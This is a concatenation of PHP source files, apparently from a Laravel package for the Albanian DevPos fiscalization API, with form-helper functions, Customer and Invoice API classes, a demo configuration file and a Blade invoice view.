if(empty($shown))
return '';
return
'<script>
var function'. $id .' = '. $shown .'
docReady(function(){
return function'. $id .'(document.getElementById('. $id .'));
});
</script>';
}
//complex components
public static function portlet($opts = []) {
$defaults = [
'id' => rand(0, 10000),
'attributes' => [],
'title' => 'Portlet',
'toolbar' => [
//['title' => 'demo', 'icon' => 'fa fa-edit', 'class' => '', 'onclick' => ""]
],
'fit' => false,
'body' => ''
];
$opts = array_extend($defaults, $opts);
$html =
'<!--begin::Portlet-->
<div class="k-portlet k-portlet--collapse" id="'. $opts['id'] .'" >
<div class="k-portlet__head">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
'. $opts['title'] .'
</h3>
</div>
<div class="k-portlet__head-toolbar">
<div class="k-portlet__head-group">
'. implode('', array_map(function($val, $key) {
return Html::a($val);
}, $opts['toolbar'])) .'
</div>
</div>
</div>
<div class="k-portlet__body" style="display: none;">
<div class="k-portlet__content">'. $opts['body'] .'</div>
</div>
</div>
<!--end::Portlet--> ';
}
//this method is use from Theme to create element. E.g.: on theme-options page
public static function generateElementFromJson($element, $value = null, $tab = null, $group = null) {
if($element->type == 'section')
return static::section((array)$element);
$config = [
'class' => $element->class ?: 'form-group',
'label' => $element->label ?: ucfirst($element->name),
'hint' => __($element->hint ?: 'Enter '. $element->name)
];
unset($element->class);
unset($element->label);
//set element
$config[$element->type] = (array)$element;
if ($element->type == 'input')
$config[$element->type]['type'] = 'text';
//set value
$config[$element->type]['value'] = $value;
//fix name
$config[$element->type]['name'] = !empty($tab) ? $tab ."[". $element->name ."]":$element->name;
$config[$element->type]['name'] = !empty($group) ? $group ."[". $tab ."][". $element->name ."]":$config[$element->type]['name'];
$config[$element->type]['placeholder'] = "Enter ". $element->name;
$config['hint'] = "";
return Html::formElement($config);
}
}
}
if (!function_exists('get_selected_option')) {
function get_selected_option($a, $b, $default = 'All'){
if(is_array($b) && !empty(array_filter($b))){
if(in_array($a, array_values($b))){
return 'selected';
}
}
elseif($a == $b){
return 'selected';
}
}
}
if (!function_exists('get_checked_checkbox')) {
function get_checked_checkbox($a, $b ,$default = 'All'){
if(is_array($b) && !empty(array_filter($b))){
if(in_array($a, $b)){
return 'checked="checked"';
}
else{
return;
}
}
elseif($a == $b){
return "checked='checked'";
}
elseif($a == $default){
return "checked='checked'";
}
else{
return;
}
}
}
if (!function_exists('get_checked_radio')) {
function get_checked_radio($a, $b, $default = 'All') {
if (is_array($b)) {
if (in_array($a, $b)) {
return "checked='checked'";
}
else {
return;
}
}
elseif ($a == $b) {
return "checked='checked'";
}
elseif($a == $default) {
return "checked='checked'";
}
else {
return;
}
}
}
if (!function_exists('array_extend')) {
function array_extend() {
$arrays = func_get_args();
$base = array_shift($arrays);
foreach ($arrays as $array) {
reset($base);
while (list($key, $value) = @each($array))
if (is_array($value) && @is_array($base[$key]))
$base[$key] = array_extend($base[$key], $value);
else $base[$key] = $value;
}
return $base;
}
}
if (!function_exists('priceNum')) {
function priceNum($number) {
if (is_numeric($number))
return number_format($number, 2, '.', ' ');
}
}
if (!function_exists('is_assoc')) {
function is_assoc($arr) {
//return count(array_filter(array_keys($arr), 'is_string')) > 0;
return array_keys($arr) !== range(0, count($arr) - 1);
}
}
<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* Customer - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class Customer extends Model {
public function __construct() {
parent::__construct();
}
//list all tcr saved on devpos
public function get() {
return $this->httpGet('/api/v3/Customer');
}
public function create($parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'idNumber' => 'required|string|max:30',
'idType' => 'required|numeric',
'name' => 'required|string|max:40',
'address' => 'nullable|string|max:250',
'town' => 'required|string|max:60',
'countryId' => 'required|numeric',
'countryCode' => 'required|string|max:40',
'code' => 'required|string|max:60',
'phone' => 'nullable|string|max:60',
'street' => 'nullable|string|max:60',
'buildingName' => 'nullable|string|max:60',
'buildingNumber' => 'nullable|string|max:60',
'registrationName' => 'nullable|string|max:60',
'fax' => 'nullable|string|max:60',
'mail' => 'nullable|string|max:60',
'cardNumber' => 'nullable|string|max:60',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
$parameters['idType'] = (int)$parameters['registrationDate'];
return $this->post('/api/v3/Customer', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/Customer/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'idNumber' => 'required|string|max:30',
'idType' => 'required|numeric',
'name' => 'required|string|max:40',
'address' => 'nullable|string|max:250',
'town' => 'required|string|max:60',
'countryId' => 'required|numeric',
'countryCode' => 'required|string|max:40',
'code' => 'required|string|max:60',
'phone' => 'nullable|string|max:60',
'street' => 'nullable|string|max:60',
'buildingName' => 'nullable|string|max:60',
'buildingNumber' => 'nullable|string|max:60',
'registrationName' => 'nullable|string|max:60',
'fax' => 'nullable|string|max:60',
'mail' => 'nullable|string|max:60',
'cardNumber' => 'nullable|string|max:60',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
$parameters['idType'] = (int)$parameters['registrationDate'];
return $this->put('/api/v3/Customer/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/Customer/'. $id);
}
}<file_sep><?php
return [
'endPointBase' => 'https://demo.devpos.al',
'endPoint' => 'https://demo.devpos.al/api/v3',
'tokenEndPoint' => 'https://demo.devpos.al/connect/token',
//devpos login credentials
'tenant' => 'A00000000B',
'authorization' => 'Basic Zmlza2FsaXppbWlfc3BhOg==',
'username' => 'admin',
'password' => '<PASSWORD>',
'grant_type' => 'password',
//some defaults options
'cache_everything' => 'false',
/**
* Cache settings
* By default we will cache all get methods if we have not specified on concret class or method(noCache()) on runtime.
* So we will store them under: cache_prefix + '.' + cache_key
* Cache key by default will be the path we use to get the data, but hashed as md5: md5($path);
*
* If you want to store a model cache under specific key, you can define it by three ways:
* 1- here as default behaviour
* 2- on model class, under the constructor
* 3- on runtime: customer()->setCacheKey('customers')->list()
*
* If you use a custom key during runtime => you have to remember that key to fetch them from cache store.So please avoid this usage.
* So please stick to method 1 or 2 if you want a custom key.
*
* Anyway we strongly suggest you to live the system do the work by itself.
*
*/
'cache' => true,
'cache_prefix' => 'devpos', //use prefix to prevent collision with other keys in the cache
'cache_timeout' => '1800', //general cache timeout. Timeout specified on model will override this.
'cache_models' => [
'client-card' => [
'key' => 'client-cards', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'customer' => [
'key' => 'customers', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'pos' => [
'key' => 'pos', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'product' => [
'key' => 'products', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'product-category' => [
'key' => 'product-categories', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'product-group' => [
'key' => 'product-groups', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'role' => [
'key' => 'roles', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'supplier' => [
'key' => 'suppliers', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'supplier-list' => [
'key' => 'supplier-lists', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'taxpayer' => [
'key' => 'taxpayer', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'tcr' => [
'key' => 'tcrs', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'tcr-balance' => [
'key' => 'tcr-balances', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'transporter' => [
'key' => 'transporters', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'unit' => [
'key' => 'units', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'user' => [
'key' => 'users', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
'warehouse' => [
'key' => 'warehouses', //cache tcr list under 'tcrs' index(as plural form of tcr)
'timeout' => '1800' //30 minutes
],
],
/**
* Routes prefix and middleware
*/
'route_prefix' => 'devpos',
'middleware' => ['web', 'auth'],
];<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Cache;
use ErmirShehaj\DevPos\Facades\DevPos;
use ErmirShehaj\DevPos\Classes\Model;
/**
* POS - is the class that will contain all methods for tcr
* Default we will cache get() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->get();
*/
class Invoice extends Model {
public function __construct() {
parent::__construct();
$this->setCache(false);
}
//list all tcr saved on devpos
public function get() {
$path = '/api/v3/Invoice/GetInvoices?startDate='. (request()->query('startDate') ?? date('Y-m-d', strtotime("-1 month"))) .'&endDate='. (request()->query('endDate') ?? date('Y-m-d'));
if (!empty(request()->query('client')))
$path .= '&client='. request()->query('client');
if (!empty(request()->query('tcrCode')))
$path .= '&tcrCode='. request()->query('tcrCode');
if (!empty(request()->query('PaymentMethodType')))
$path .= '&PaymentMethodType='. request()->query('PaymentMethodType');
return $this->httpGet($path);
}
public function create($parameters = [], $path = '/api/v3/Invoice') {
//return $parameters;
$defaults = [
'id' => 0,
'invoiceType' => 0,
'warehouseId' => NULL,
'selfIssuingType' => NULL,
'isSimplifiedInvoice' => false,
'tcrCode' => '',
'markUpAmount' => 0,
'goodsExport' => 0,
'isReverseCharge' => false,
'isSelfIssuingAffectWareHouse' => false,
'isBadDebt' => false,
'payDeadline' => NULL,
'badDebtIICReference' => NULL,
'supplyDateOrPeriodStart' => NULL,
'supplyDateOrPeriodEnd' => NULL,
'currencyCode' => NULL,
'exchangeRate' => 1,
'tcrId' => 263,
'notes' => NULL,
'clientCardCode' => NULL,
'customer' => NULL,
'subsequentDeliveryType' => NULL,
'printInvoice' => true,
'invoiceProducts' => [],
'invoiceFees' => [],
'invoicePayments' => [],
'clientApplication' => 0,
'isEinvoice' => false,
'valuesAreInForeignCurrency' => false,
];
$parameters = array_extend($defaults, $parameters);
/**
*
* Payload example:
* {
"id": 0,
"invoiceType": 0,
"warehouseId": null,
"selfIssuingType": null,
"isSimplifiedInvoice": false,
"tcrCode": "wi923ef455",
"markUpAmount": 0,
"goodsExport": 0,
"isReverseCharge": false,
"isSelfIssuingAffectWareHouse": false,
"isBadDebt": false,
"payDeadline": null,
"badDebtIICReference": null,
"supplyDateOrPeriodStart": null,
"supplyDateOrPeriodEnd": null,
"currencyCode": null,
"exchangeRate": 1,
"tcrId": 263,
"notes": null,
"clientCardCode": null,
"customer": null,
"subsequentDeliveryType": null,
"printInvoice": true,
"invoiceProducts": [
{
"name": "Amaro Montenegro 0.03 Lx30 PZ",
"barcode": "Amaro Montenegro 0.03 Lx30 PZ",
"unitPrice": 50,
"quantity": 1,
"rebatePrice": 0,
"isRebateReducingBasePrice": true,
"unit": "vlere monetare",
"vatRate": 20,
"invoiceId": 0,
"productId": 32160,
"isInvestment": false,
"expirationDate": null
}
],
"invoiceFees": [],
"invoicePayments": [],
"clientApplication": 0,
"isEinvoice": false,
"valuesAreInForeignCurrency": false
}
*/
/**
* Example:
* {
"id": 9600,
"invoiceType": 0,
"dateTimeCreated": "2021-10-26T12:15:07.3980726+02:00",
"sellerRegistrationName": "<NAME>",
"sellerName": "NOE sh.p.k.",
"sellerNuis": "L01511027P",
"sellerAddress": "Tirane",
"invoiceNumber": "81/2021/wi923ef455",
"invoiceOrderNumber": 81,
"tcrCode": "wi923ef455",
"taxFreeAmount": 0,
"markUpAmount": 0,
"goodsExport": 0,
"totalPriceWithoutVAT": 200,
"totalVATAmount": 0,
"totalPrice": 200,
"operatorCode": "wk477lv989",
"operatorName": "admin",
"businessUnitCode": "ux640ut831",
"softCode": "zn944ww414",
"iic": "D086B1A4E89A84955F6EB0D258730EE6",
"isEInvoice": false,
"orderIICRef": [],
"isSubsequentDelivery": false,
"isReverseCharge": false,
"valuesAreInForeignCurrency": false,
"exchangeRate": 1,
"tcrName": "<NAME>",
"fiscNumber": "749c1353-1d2f-4460-8fa0-a99f6caa016f",
"verificationUrl": "https://efiskalizimi-app-test.tatime.gov.al/invoice-check/#verify?iic=D086B1A4E89A84955F6EB0D258730EE6&tin=L01511027P&crtd=2021-10-26T12:15:07+02:00&ord=81&bu=ux640ut831&cr=wi923ef455&sw=zn944ww414&prc=200",
"isCorrectiveInvoice": false,
"isACorrectedInvoice": false,
"warehouseId": 83,
"isSentAsEInvoice": false,
"clientApplication": 0,
"sameTaxItems": [
{
"description": "TVSH",
"vatRate": 0,
"totalBeforeVat": 200,
"totalVatAmount": 0,
"exemptedFromVat": false
}
],
"invoiceProducts": [
{
"id": 13744,
"name": "Cigare",
"barcode": "123",
"quantity": 1,
"rebatePrice": 0,
"isRebateReducingBasePrice": true,
"unitPrice": 200,
"unit": "cope",
"vatRate": 0,
"priceAfterVAT": 200,
"priceBeforeVAT": 200,
"vatAmount": 0,
"invoiceId": 9600,
"productId": 32053,
"isInvestment": false,
"totalPriceBeforeVAT": 200,
"totalPriceAfterVAT": 200,
"total": 0
}
],
"invoicePayments": [
{
"id": 9428,
"invoiceId": 9600,
"paymentMethodType": 0,
"amount": 200,
"voucher": []
}
],
"invoiceFees": [],
"totalDiscount": 0,
"isSelfIssuingAffectWareHouse": false,
"transporterIdType": 0
}
*/
//first we have to check if tcr_code is declared
//return $parameters;
//get taxpayer
$taxPayer = DevPos::taxPayer()->get();
//add businessUnitCode
$parameters['businessUnitCode'] = $taxPayer['businessUnitCode'];
//add tcr_code
$parameters['tcrCode'] = $parameters['tcrCode'] ?? session()->get('tcr.fiscalizationNumber');
$parameters['tcrId'] = $parameters['tcrId'] ?? session()->get('tcr.id');
$parameters['isEInvoice'] = false;
$parameters['isSelfIssuingAffectWareHouse'] = false;
// return [
// $parameters['tcrCode'] => DevPos::tcr()->isBalanceDeclared($parameters['tcrCode']),
// 'token' => Cache::get('devpos.access_token'),
// 'session' => session()->all()
// ];
if (!DevPos::tcr()->isBalanceDeclared($parameters['tcrCode'])) {
//return ['isBalanceDeclared'];
throw new \Exception('You have to declare first the tcr! => '. $parameters['tcrCode']);
}
//do some validations
$validation = Validator::make($parameters, [
'invoiceType' => 'required|boolean', //in:cash,non cash
'isEInvoice' => 'nullable|boolean', //in:electronik or not
'selfIssuingType' => 'nullable|in:0,1,2,3', //['Marrëveshja e mëparshme mes palëve', 'Purchase from area farmers', 'Purchases from services abroad', 'Other']
'isSimplifiedInvoice' => 'nullable|boolean', //
'tcrCode' => 'required|string|max:50', //ab750tb427
'tcrId' => 'required|numeric', //ab750tb427
'businessUnitCode' => 'required|string|max:50',
'operatorCode' => 'nullable|string|max:50', //emri i userit te sistemit, psh: vq961go132
'markUpAmount' => 'nullable|numeric',
'goodsExport' => 'nullable|numeric',
'isReverseCharge' => 'required|boolean',
'isBadDebt' => 'nullable|boolean',
'badDebtIICReference' => 'nullable|boolean', //IIC e faturës që do të përcaktohet si borxh i keq
'payDeadline' => 'nullable|date',
'supplyDateOrPeriodStart' => 'nullable|date',
'supplyDateOrPeriodEnd' => 'nullable|date',
'sellerAddress' => 'nullable|string|max:400',
'sellerTown' => 'nullable|string|max:100',
'currencyCode' => 'nullable|string|max:3',
'exchangeRate' => 'nullable|numeric',
'orderIICRef' => 'nullable|list:string',
'notes' => 'nullable|string|max:100',
'customer' => 'nullable|array',
'customer.idNumber' => 'required_with:customer|string|max:20',
'customer.idType' => 'required_with:customer|numeric', //['NIPT', 'Kartë identiteti', 'Numri i pasaportës', 'Numri i TVSH', 'Numri i Tatimit', 'Numri i sigurimeve shoqërore']
'customer.name' => 'required_with:customer|string|max:200',
'customer.address' => 'required_with:customer|string|max:400',
'customer.town' => 'required_with:customer|string|max:200',
'subsequentDeliveryType' => 'nullable|in:0,1,2,3', //['Mungesë interneti', 'Arka është jashtë funksionit', 'Probleme me shërbimin e fiskalizimit', 'Probleme teknike në arkë']
'invoiceProducts' => 'required|array',
'invoiceProducts.*.name' => 'required|string|max:100',
'invoiceProducts.*.barcode' => 'nullable|string|max:100',
'invoiceProducts.*.unitPrice' => 'required|string|max:100',
'invoiceProducts.*.quantity' => 'required|numeric',
'invoiceProducts.*.rebatePrice' => 'nullable|numeric',
'invoiceProducts.*.isRebateReducingBasePrice' => 'nullable|boolean',
'invoiceProducts.*.unit' => 'required|string|max:50',
'invoiceProducts.*.vatRate' => 'nullable|numeric',
'invoiceProducts.*.isInvestment' => 'nullable|boolean',
'invoiceProducts.*.exemptFromVatType' => 'nullable|numeric',
'invoiceFees' => 'array',
'invoiceFees.*.feeType' => 'required_with:invoiceFees',
'invoiceFees.*.amount' => 'required_with:invoiceFees|numeric',
'invoicePayments' => 'nullable|array',
'invoicePayments.paymentMethodType' => 'required_with:invoicePayments|string|max:100',
'invoicePayments.amount' => 'required_with:invoicePayments|string|max:100',
'invoicePayments.companyCard' => 'required_with:invoicePayments|string|max:100',
'invoicePayments.Voucher' => 'required_with:invoicePayments|max:100',
'invoicePayments.accountDetails' => 'array',
'invoicePayments.accountDetails.bankName' => 'required_with:invoicePayments.accountDetails|string|max:100',
'invoicePayments.accountDetails.bankCity' => 'required_with:invoicePayments.accountDetails|string|max:100',
'invoicePayments.accountDetails.accountNumber' => 'required_with:invoicePayments.accountDetails|string|max:100',
'invoicePayments.accountDetails.bankSwift' => 'required_with:invoicePayments.accountDetails|string|max:100',
'invoicePayments.accountDetails.bankAddress' => 'required_with:invoicePayments.accountDetails|string|max:100',
'proces' => 'nullable|string|max:100',
'documentType' => 'nullable|string|max:100',
'attachments' => 'nullable|array',
'attachments.*.file' => 'required_with:attachments|string:65532',
'attachments.*.name' => 'required_with:attachments|string:100',
]);
if($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//cast columns
$parameters['invoiceType'] = (int)$parameters['invoiceType'];
$parameters['isBadDebt'] = boolval($parameters['isBadDebt']) ?? 0;
$parameters['isEinvoice'] = boolval($parameters['isEinvoice'] ?? 0);
$parameters['isReverseCharge'] = boolval($parameters['isReverseCharge'] ?? 0);
$parameters['isSelfIssuingAffectWareHouse'] = boolval($parameters['isSelfIssuingAffectWareHouse'] ?? 0);
$parameters['isSimplifiedInvoice'] = boolval($parameters['isSimplifiedInvoice'] ?? 0);
$parameters['selfIssuing'] = (int)$parameters['selfIssuing'];
$parameters['valuesAreInForeignCurrency'] = boolval($parameters['valuesAreInForeignCurrency'] ?? 0);
//customer
if (empty($parameters['customer']['idNumber']) && empty($parameters['customer']['name']))
unset($parameters['customer']);
elseif (!empty($parameters['customer'])) {
$parameters['customer']['idType'] = (int)$parameters['customer']['idType'];
}
foreach($parameters['invoiceProducts'] as $ind => $product) {
$parameters['invoiceProducts'][$ind]['isRebateReducingBasePrice'] = boolval($product['isRebateReducingBasePrice'] ?? 0);
$parameters['invoiceProducts'][$ind]['vatRate'] = 0;
unset($parameters['invoiceProducts'][$ind]['productId']);
}
//return $parameters;
return $this->post($path, $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/Invoice/'. $id);
}
//update pos on devpos
public function update($id, $parameters = []) {
//validate first
$validation = Validator::make($parameters, [
'code' => 'required|max:40',
'businessUnitCode' => 'required|max:40',
'registrationDate' => 'required|date',
'latitude' => 'nullable|max:40',
'longitude' => 'nullable|max:40',
'address' => 'required|max:120',
'city' => 'required|max:120',
'description' => 'nullable|max:250',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//fix registrationDate
$parameters['registrationDate'] = date("c", strtotime($parameters['registrationDate']));
return $this->put('/api/v3/Invoice/'. $id, $parameters);
}
//delete pos on devpos
public function destroy($id) {
return $this->delete('/api/v3/Invoice/'. $id);
}
public function cancel($iic) {
//do some validations
$validation = Validator::make(['iic' => $iic], [
'iic' => 'required|string|min:3|max:60',
]);
if($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
return $this->put('/api/v3/Invoice/CancelInvoice?IIC='. $iic, []);
}
public function resend($iic) {
//do some validations
$validation = Validator::make(['iic' => $iic], [
'iic' => 'required|string|min:3|max:60',
]);
if($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
return $this->put('/api/v3/Invoice/resendinvoice/'. $iic, []);
}
//list unfiscalized invoices
public function unfiscalized() {
return $this->httpGet('/api/v3/invoice/unficalized');
}
//when correct an invoice , we must post on this method
public function correct($parameters = []) {
return $this->create($parameters, '/api/v3/Invoice/CorrectInvoice');
//return $this->post('/api/v3/Invoice/CorrectInvoice', $parameters);
}
//if download is true it will download it otherwise it will return its content
public function export($params = [], $download = true) {
$queryString = http_build_query($params);
$path = '/api/v3/Invoice/export'. (!empty($queryString) ? '?'. $queryString:'');
//echo $this->download($path);
if ($download) {
$file = $this->download($path);
$headers = [
'Content-Disposition' => 'attachment; filename=invoices.csv;'
];
return response()->stream(function () use ($file) {
echo $file;
}, 200, $headers);
// return response()->streamDownload(function () {
// echo $this->download($path);
// }, 'invoices.csv');
}
else {
return file_get_contents($path);
}
}
//if download is true it will download it otherwise it will return its content
public function exportSalesBook($params = [], $download = true) {
$queryString = http_build_query($params);
$path = '/api/v3/SalesReports/exportSalesBook'. (!empty($queryString) ? '?'. $queryString:'');
//echo $this->download($path);
if ($download) {
$file = $this->download($path);
$headers = [
'Content-Disposition' => 'attachment; filename=invoicesSalesBook.csv;'
];
return response()->stream(function () use ($file) {
echo $file;
}, 200, $headers);
}
else {
return file_get_contents($path);
}
}
//if download is true it will download it otherwise it will return its content
public function exportUnfiscalized($download = true) {
$path = '/api/v3/Invoice/GetZipFile?';
$file = $this->download($path);
$headers = [
'Content-Type' => 'text/csv; charset=UTF-8',
'Content-Disposition' => 'attachment; filename=invoices.csv',
];
return response()->stream(function () use ($file) {
echo trim($file);
}, 200, $headers);
}
}<file_sep>@extends('layouts.keen.template')
@section('subheader-buttons')
<div class="k-subheader__toolbar">
<div class="k-subheader__wrapper">
<a href="javascript:void(0)" class="btn btn-label btn-label-brand btn-bold" title="{{__('Print')}}" data-placement="top" onClick="DevPos.Invoice.print();">
<i class="fa fa-print"></i> <span class="d-none d-md-inline"> {{ __('Print') }}</span>
</a>
<a href="javascript:void(0)" class="btn btn-label btn-label-brand btn-bold" title="{{__('Download as pdf')}}" data-placement="top" onClick="DevPos.Invoice.download({{$item->id}});">
<i class="fa fa-download"></i> <span class="d-none d-md-inline"> {{ __('Download') }}</span>
</a>
<a href="javascript:void(0)" class="btn btn-label btn-label-danger btn-bold" title="{{__('Cancel')}}" data-placement="top" onClick="DevPos.Invoice.cancel('{{$item->iic}}');">
<i class="fa fa-times"></i> <span class="d-none d-md-inline"> {{ __('Cancel Invoice') }}</span>
</a>
</div>
</div>
@endsection
@section('content')
<!-- begin:: Content -->
<div class="k-content k-grid__item k-grid__item--fluid" id="k_content">
<div class="row">
<div class="col-md-12 float-left reportAndListing order-xs-2 order-md-1" id="reportAndListing" style="overflow-x: hidden;">
<div class="k-portlet k-portlet--mobile">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('Invoice') }}
<small></small>
</h3>
</div>
</div>
<div class="k-portlet__body ">
<div class="row">
<div class="col-lg-8 offset-lg-2" style="border: 1px solid #ebedf2;padding: 20px;" id="invoiceContent">
<table style="border: 0;margin-bottom: 20px;width: 100%" border="1">
<tbody>
<tr>
<td style="padding: 5px;">{{__('Name')}}</td>
<td style="padding: 5px;"><strong>{{__($item->sellerName)}}</strong></td>
</tr>
<tr>
<td style="padding: 5px;">{{__('Registration Name')}}</td>
<td style="padding: 5px;"><strong>{{__($item->sellerRegistrationName)}}</strong></td>
</tr>
<tr>
<td style="padding: 5px;">{{__('Nuis')}}</td>
<td style="padding: 5px;"><strong>{{__($item->sellerNuis)}}</strong></td>
</tr>
<tr>
<td style="padding: 5px;">{{__('Address')}}</td>
<td style="padding: 5px;"><strong>{{__($item->sellerAddress)}}</strong></td>
</tr>
</tbody>
</table>
<table style="border: 0;margin-bottom: 20px;width: 100%" border="0">
<tbody>
<tr>
<td style="padding: 5px; text-align: center;">
<h2>{{__('Invoice')}}<h2>
</td>
</tr>
</tbody>
</table>
<table style="border: 0;margin-bottom: 20px;width: 100%" border="1">
<tbody>
<tr>
<td style="padding: 5px;">{{__('Date')}}</td>
<td style="padding: 5px;"><strong>{{ date('Y-m-d H:i', strtotime($item->dateTimeCreated)) }}</strong></td>
</tr>
<tr>
<td style="padding: 5px;">{{__('Invoice Number')}}</td>
<td style="padding: 5px;"><strong>{{__($item->invoiceNumber)}}</strong></td>
</tr>
<tr>
<td style="padding: 5px;">{{__('Operator Code')}}</td>
<td style="padding: 5px;"><strong>{{__($item->operatorCode)}}</strong></td>
</tr>
<tr>
<td style="padding: 5px;">{{__('Vendi i ushtrimit të veprimtarisë')}}</td>
<td style="padding: 5px;"><strong>{{__($item->businessUnitCode)}}</strong></td>
</tr>
<tr>
<td style="padding: 5px;">{{__('Payment Method')}}</td>
<td style="padding: 5px;"><strong></strong></td>
</tr>
</tbody>
</table>
<table style="border: 0;margin-bottom: 20px;width: 100%" border="1">
<head>
<th style="padding: 5px 10px;text-align: center;">#</th>
<th style="padding: 5px 10px;text-align: center;text-transform: uppercase">{{__('Name')}}</th>
<th style="padding: 5px 10px;text-align: center;text-transform: uppercase">{{__('Barcode')}}</th>
<th style="padding: 5px 10px;text-align: center;text-transform: uppercase">{{__('Price')}}</th>
<th style="padding: 5px 10px;text-align: right;text-transform: uppercase">{{__('Sasia')}}</th>
<th style="padding: 5px 10px;text-align: center;text-transform: uppercase">{{__('Unit')}}</th>
<th style="padding: 5px 10px;text-align: right;text-transform: uppercase">{{__('Cmimi me TVSH')}}</th>
<th style="padding: 5px 10px;text-align: right;text-transform: uppercase">{{__('Vlefta pa TVSH')}}</th>
<th style="padding: 5px 10px;text-align: right;text-transform: uppercase">{{__('TVSH')}}</th>
<th style="padding: 5px 10px;text-align: right;text-transform: uppercase">{{__('Amount')}}</th>
</head>
<tbody>
@foreach($item->invoiceProducts as $product)
<tr>
<td style="padding: 5px;text-align: center;">{{$loop->index + 1}}</td>
<td style="padding: 5px 10px;text-align: center;">{{$product['name']}}</td>
<td style="padding: 5px 10px;text-align: center;">{{$product['barcode']}}</td>
<td style="padding: 5px 10px;text-align: center;">{{$product['unitPrice']}}</td>
<td style="padding: 5px 10px;text-align: right;">{{$product['quantity']}}</td>
<td style="padding: 5px 10px;text-align: center;">{{$product['unit']}}</td>
<td style="padding: 5px 10px;text-align: right;">{{priceNum($product['priceAfterVAT'])}}</td>
<td style="padding: 5px 10px;text-align: right;">{{priceNum($product['totalPriceBeforeVAT'])}}</td>
<td style="padding: 5px 10px;text-align: right;">{{priceNum($product['totalPriceAfterVAT'] - $product['totalPriceBeforeVAT'])}}</td>
<td style="padding: 5px 10px;text-align: right;">{{priceNum($product['totalPriceAfterVAT'])}}</td>
</tr>
@endforeach
</tbody>
</table>
<div style="font-weight: bold; width: 100%;text-align: right;font-size: 20px;">{{__('Total pa TVSH')}}: {{ priceNum($item->totalPriceWithoutVAT) }}</div>
<div style="font-weight: bold; width: 100%;text-align: right;font-size: 20px;">{{__('TVSH')}}: {{ priceNum($item->totalVATAmount) }}</div>
<div style="font-weight: bold; width: 100%;text-align: right;font-size: 20px;">{{__('Total')}}: {{priceNum($item->totalPrice)}}</div>
<table style="border: 0;margin-bottom: 20px;margin-top: 30px;width: 100%" border="0">
<tbody>
<tr>
<td style="padding: 5px;text-align: left">
{{__('IIC')}}: {{$item->iic}} </br>
{{__('Fiscalization Number')}}: {{$item->fiscNumber}}
</td>
<td style="padding: 5px;text-align: right">
<div id="qrcode"></div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end:: Content -->
@endsection
@section('js-local')
<script src="/api/dev/public/devpos\assets\js\jquery-qrcode\jquery.qrcode.js" type="text/javascript"></script>
<script src="/api/dev/public/devpos\assets\js\jquery-qrcode\qrcode.js" type="text/javascript"></script>
<script src="{{asset('ermirshehaj/devpos/js/devpos.js')}}"></script>
<script src="{{asset('ermirshehaj/devpos/js/templates.js')}}"></script>
<script>
//put all tcrs to cache
//Cache.put('invoices', @php echo json_encode($items) @endphp);
Cache.put('paymentMethods', @php echo json_encode($paymentMethods) @endphp);
Cache.put('feeTypes', @php echo json_encode($feeTypes) @endphp);
Cache.put('clientCardTypes', @php echo json_encode($clientCardTypes) @endphp);
Cache.put('typesOfSelfIssuing', @php echo json_encode($typesOfSelfIssuing) @endphp);
Cache.put('currencies', @php echo json_encode($currencies) @endphp);
Cache.put('countries', @php echo json_encode($countries) @endphp);
Cache.put('cities', @php echo json_encode($cities) @endphp);
Cache.put('banks', @php echo json_encode($banks) @endphp);
